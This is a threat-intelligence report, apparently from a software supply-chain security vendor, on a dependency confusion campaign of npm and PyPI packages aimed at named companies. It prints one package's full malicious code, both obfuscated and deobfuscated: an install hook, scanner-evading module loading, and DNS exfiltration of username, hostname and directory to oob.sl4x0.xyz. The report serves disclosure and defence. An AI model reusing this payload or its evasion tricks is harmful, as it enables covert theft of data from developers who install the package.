sl4x0 Dependency Confusion: 92 Packages Target Fortune 500

TL;DR

A researcher operating under the sl4x0 identity has been running a dependency confusion campaign since June 2025, publishing 92+ packages across 32 throwaway npm and PyPI accounts targeting over 20 named organizations. Each package exfiltrates the developer’s username, hostname, and working directory via DNS queries to oob[.]sl4x0[.]xyz. The package names suggest they likely target internal dependencies at these organizations. The minimal payload and explicit *poc naming of publisher accounts suggest security research or bug bounty probing rather than a full malicious operation. Regardless of intent, the packages execute code on install and leak developer identity to an unauthorized third party.

Impact:

• Exfiltrates the local OS username, hostname, and current working directory of any developer who installs a campaign package
• DNS-based exfiltration bypasses most HTTP-based egress monitoring
• Reconnaissance data (usernames, hostnames, project directories) enables targeted follow-up attacks
• Likely targets span Fortune 500 companies, financial institutions, defense contractors, and tech companies

Indicators of Compromise (IoC):

• Exfiltration domain: oob[.]sl4x0[.]xyz
• DNS query pattern: <prefix>.<username>.<hostname>.<cwd>.<timestamp>.oob[.]sl4x0[.]xyz
• Publisher email domain: *@sl4x0[.]xyz
• Version patterns: 9.9.0, 9.9.9, 9.9.10, 9.9.11, 99.9.9, 99.99.9 (inflated to win dependency confusion)
• 32 npm/PyPI accounts (full list in Campaign Infrastructure section)

Campaign Overview

Timeline

Data from SafeDep threat intelligence reveals this campaign has been active for 10 months with distinct phases:

The campaign started with broad namespace squatting in mid-2025, then pivoted to what appear to be targeted, organization-specific attacks in late 2025 and 2026. The *poc suffix on account names (e.g., adobepoc, fordpoc, sonypoc) explicitly labels each as a “proof of concept” against a named target.

All 2025-era accounts have been removed from npm. As of March 24, 2026, packages from the following 2026 accounts remain live: adobepoc, fordpoc, carnivalpoc, xfinitypoc, sonypoc, cocacolapoc, huaweipoc, tombacpoc, medidata.

Campaign Infrastructure

All publisher accounts use email addresses on the sl4x0[.]xyz domain. The exfiltration endpoint oob[.]sl4x0[.]xyz is shared across all packages. The GitHub organization slaxorg (referenced in package.json metadata) does not exist, confirming fabricated provenance.

Complete list of known publisher accounts:

Packages Still Live on npm (as of March 24, 2026)

These packages remain available for download and should be considered actively dangerous:

Deep Dive: oc-aa-module-client

Package Overview

[email protected] was published to npm on March 22, 2026 by the adobepoc account. This account published 11 packages between March 21 and 22, 2026, all sharing an identical description (“Enterprise-grade utilities with enhanced validation and compatibility layer”), identical keywords, and the same code structure.

The package names likely follow Adobe’s internal Omnichannel module naming convention (oc-*-module-client), apparently targeting modules like Adobe Analytics (aa), Contact Center Platform (ccp), Navigation Bar (navbar), and others. The package.json points to a GitHub organization slaxorg that does not exist, fabricating provenance.

The README is generic boilerplate with placeholder badge URLs (org/repo, package) and ironically claims: “No file system access” and “No network requests.” The package does both through its obfuscated lib/ directory.

Execution Trigger

The package.json defines an install script that executes the entry point on npm install:

1
"scripts": {
2
  "install": "node index.js"
3
}

The entry point silently loads the malicious payload:

1
'use strict';
2
try {
3
  require('./lib/core');
4
} catch (e) {}
5
module.exports = { version: '9.9.10' };

The try/catch with an empty handler ensures the install succeeds silently even if the payload fails. The exported { version: '9.9.10' } provides a benign surface for anyone inspecting the module’s return value.

Malicious Payload

The payload spans three files in lib/: a configuration module, a utilities module, and the core logic.

Configuration (lib/b02e30.js) stores the exfiltration domain and package identifier using hex-encoded character arrays:

1
'use strict';
2
const _0x5b3d = [0x6f, 0x6f, 0x62, 0x2e, 0x73, 0x6c, 0x34, 0x78, 0x30, 0x2e, 0x78, 0x79, 0x7a];
3
const _0x6c4e = 'ocaa';
4
const _0x7d5f = (s) => {
5
  let r = '';
6
  for (let i = 0; i < s.length; i++) r += String.fromCharCode(s[i]);
7
  return r;
8
};
9
module.exports = { p: _0x6c4e, d: _0x7d5f([0x2e]), dom: _0x7d5f(_0x5b3d), decode: _0x7d5f };

Deobfuscated, this resolves to:

1
module.exports = {
2
  p: 'ocaa', // package identifier for this campaign package
3
  d: '.', // separator
4
  dom: 'oob.sl4x0.xyz', // attacker-controlled exfiltration domain
5
  decode: String.fromCharCode, // utility function reused by core.js
6
};

Utilities (lib/6ad264.js) loads Node.js built-in modules through module.constructor._load() to avoid plain require() calls that static scanners flag:

1
'use strict';
2
const _0xb1i9 = (x) => {
3
  let s = '';
4
  for (let i = 0; i < x.length; ++i) s += String.fromCharCode(x[i]);
5
  return s;
6
};
7
const _0xc2j0 = module.constructor[_0xb1i9([0x5f, 0x6c, 0x6f, 0x61, 0x64])](_0xb1i9([0x6f, 0x73]));
8
const _0xd3k1 = module.constructor[_0xb1i9([0x5f, 0x6c, 0x6f, 0x61, 0x64])](_0xb1i9([0x64, 0x6e, 0x73]));
9
const _0xe4l2 = global[_0xb1i9([0x70, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73])];
10
const clean = (s) => (s + '').replace(/[^a-z0-9]/gi, '').slice(0, 15);
11
module.exports = { os: _0xc2j0, dns: _0xd3k1, proc: _0xe4l2, clean: clean };

Deobfuscated:

1
const os = module.constructor._load('os'); // avoids require('os')
2
const dns = module.constructor._load('dns'); // avoids require('dns')
3
const proc = global.process;
4
const clean = (s) => (s + '').replace(/[^a-z0-9]/gi, '').slice(0, 15);
5
module.exports = { os, dns, proc, clean };

The clean() function strips non-alphanumeric characters and truncates to 15 characters, ensuring the collected data fits within DNS label length limits (max 63 characters per label).

Core payload (lib/core.js) collects system information and exfiltrates it via DNS:

1
'use strict';
2
const cfg = require('./b02e30');
3
const util = require('./6ad264');
4
(() => {
5
  let u = 'u',
6
    h = 'h',
7
    c = 'd';
8
  try {
9
    u = util.clean(
10
      util.os[cfg.decode([0x75, 0x73, 0x65, 0x72, 0x49, 0x6e, 0x66, 0x6f])]()?.[
11
        cfg.decode([0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65])
12
      ]
13
    );
14
  } catch (e) {}
15
  try {
16
    h = util.clean(util.os[cfg.decode([0x68, 0x6f, 0x73, 0x74, 0x6e, 0x61, 0x6d, 0x65])]());
17
  } catch (e) {}
18
  try {
19
    c = util.clean(
20
      util.proc[cfg.decode([0x63, 0x77, 0x64])]()
21
        .split(/[\/\\]/)
22
        .pop()
23
    );
24
  } catch (e) {}
25
  const t = Math.floor(Date.now() / 1e3);
26
  const q = [cfg.p, u || 'u', h || 'h', c || 'd', t, cfg.dom].join(cfg.d);
27
  try {
28
    util.dns[cfg.decode([0x72, 0x65, 0x73, 0x6f, 0x6c, 0x76, 0x65, 0x34])](q, () => {});
29
  } catch (e) {}
30
})();

Deobfuscated:

1
const cfg = require('./b02e30');
2
const util = require('./6ad264');
3

4
(() => {
5
  let u = 'u',
6
    h = 'h',
7
    c = 'd'; // fallback values
8
  try {
9
    u = util.clean(util.os.userInfo()?.username);
10
  } catch (e) {}
11
  try {
12
    h = util.clean(util.os.hostname());
13
  } catch (e) {}
14
  try {
15
    c = util.clean(
16
      util.proc
17
        .cwd()
18
        .split(/[\/\\]/)
19
        .pop()
20
    );
21
  } catch (e) {}
22

23
  const t = Math.floor(Date.now() / 1000); // unix timestamp
24
  const q = ['ocaa', u, h, c, t, 'oob.sl4x0.xyz'].join('.');
25
  // e.g. "ocaa.jsmith.devbox42.myproject.1711234567.oob.sl4x0.xyz"
26

27
  try {
28
    util.dns.resolve4(q, () => {});
29
  } catch (e) {}
30
})();

Data Exfiltration via DNS

The attack uses DNS as a covert exfiltration channel. By calling dns.resolve4() with a crafted subdomain query, the collected data travels through DNS resolution to the attacker’s authoritative nameserver for oob[.]sl4x0[.]xyz. The attacker reads the data directly from DNS query logs without needing the resolution to succeed.

The exfiltration query follows this structure:

1
ocaa.<username>.<hostname>.<cwd_dirname>.<unix_timestamp>.oob.sl4x0.xyz

A developer named jsmith working on machine adobe-dev-42 in directory /home/jsmith/code/omnichannel-platform would generate:

1
ocaa.jsmith.adobedev42.omnichannelplatf.1711234567.oob.sl4x0.xyz

This approach is effective for several reasons. DNS traffic is rarely blocked or inspected by corporate firewalls. The query looks like normal DNS resolution to network monitoring tools. No HTTP connection or response is needed; the query itself carries the data. The empty callback () => {} means the code does not wait for or process the response.

The ocaa prefix identifies which campaign package triggered the beacon, allowing the attacker to correlate responses across the 11+ Adobe packages (each would use a different prefix like occcp, ocnavbar, etc.).

This is the same fundamental technique we analyzed in the Schedaero dependency confusion campaign, though that campaign used HTTP-based exfiltration rather than DNS. The DNS approach is stealthier since it sidesteps HTTP egress monitoring entirely. Similar dependency confusion patterns using Burp Collaborator have also been documented targeting other organizations.

Obfuscation Techniques

The package uses three layers of obfuscation:

1. Hex-encoded string literals: Method names like userInfo, hostname, cwd, and resolve4 are passed as hex byte arrays ([0x75, 0x73, 0x65, 0x72, 0x49, 0x6e, 0x66, 0x6f]) and decoded at runtime via String.fromCharCode. This evades static string matching by scanners looking for suspicious API calls.

2. Indirect module loading: Instead of require('os') or require('dns'), the code uses module.constructor._load('os'). This private Node.js API achieves the same result but avoids triggering require() pattern matching in security tools.

3. Decoy source files: The src/ directory contains ~600 lines of legitimate, well-documented utility code (validation, formatting, crypto wrappers) that serves no functional purpose. The index.js entry point never imports anything from src/. These files exist solely to make the package appear legitimate during cursory review.

Dependency Confusion Strategy

All packages in this campaign use abnormally high version numbers (9.9.0, 9.9.10, 99.9.9, 99.99.9). This is the hallmark of dependency confusion: when a build system pulls from both a private registry and the public npm registry, it resolves to the highest available version. By publishing version 99.99.9 of a package that internally exists at version 2.3.1, the attacker ensures the public (malicious) version wins.

The package names are not random. They likely match internal package naming conventions at each apparent target organization:

• Adobe: oc-*-module-client (likely Omnichannel platform modules)
• Ford: @wame/ngx-* (likely Angular modules under Ford’s WAME framework)
• Coca-Cola: @the-coca-cola-company/* (scoped company packages)
• Xfinity: @ceeferenderer/* (likely internal renderer SDK)
• Wildberries: @wb-team/*, @wbgo/* (likely internal team packages)

This level of specificity suggests the attacker performed reconnaissance on each target’s internal package ecosystem before publishing. The Hyatt-targeting campaign we previously analyzed used the same version inflation strategy (999.999.999) against hospitality sector targets.

Conclusion

The sl4x0 campaign is a sustained, multi-target dependency confusion operation active since June 2025. The explicit *poc account naming, minimal DNS-only payload, and absence of credential theft or persistence strongly suggest security research or bug bounty probing rather than a destructive attack. The packages still execute arbitrary code on install and leak developer identity to an unauthorized third party, which represents real supply chain risk regardless of intent.

As of March 24, 2026, 22 packages across 9 publisher accounts remain live on npm. Organizations whose internal package names appear in the IoC list should:

1. Audit .npmrc and registry configurations to ensure private packages resolve from internal registries only
2. Monitor DNS logs for queries to oob[.]sl4x0[.]xyz
3. Treat any system that installed a campaign package as compromised for reconnaissance purposes
4. Use tools like vet to detect malicious packages before they enter the build pipeline

References

• Exfiltration domain: oob[.]sl4x0[.]xyz
• SafeDep threat intelligence: 92+ confirmed malicious package records
• npm: oc-aa-module-client
• npm: @wame/ngx-adfs
• npm: @the-coca-cola-company/ngps-global-common-utils
• npm: cr-static-shared-components
• npm: @ceeferenderer/fe-renderer-sdk
• Original dependency confusion research by Alex Birsan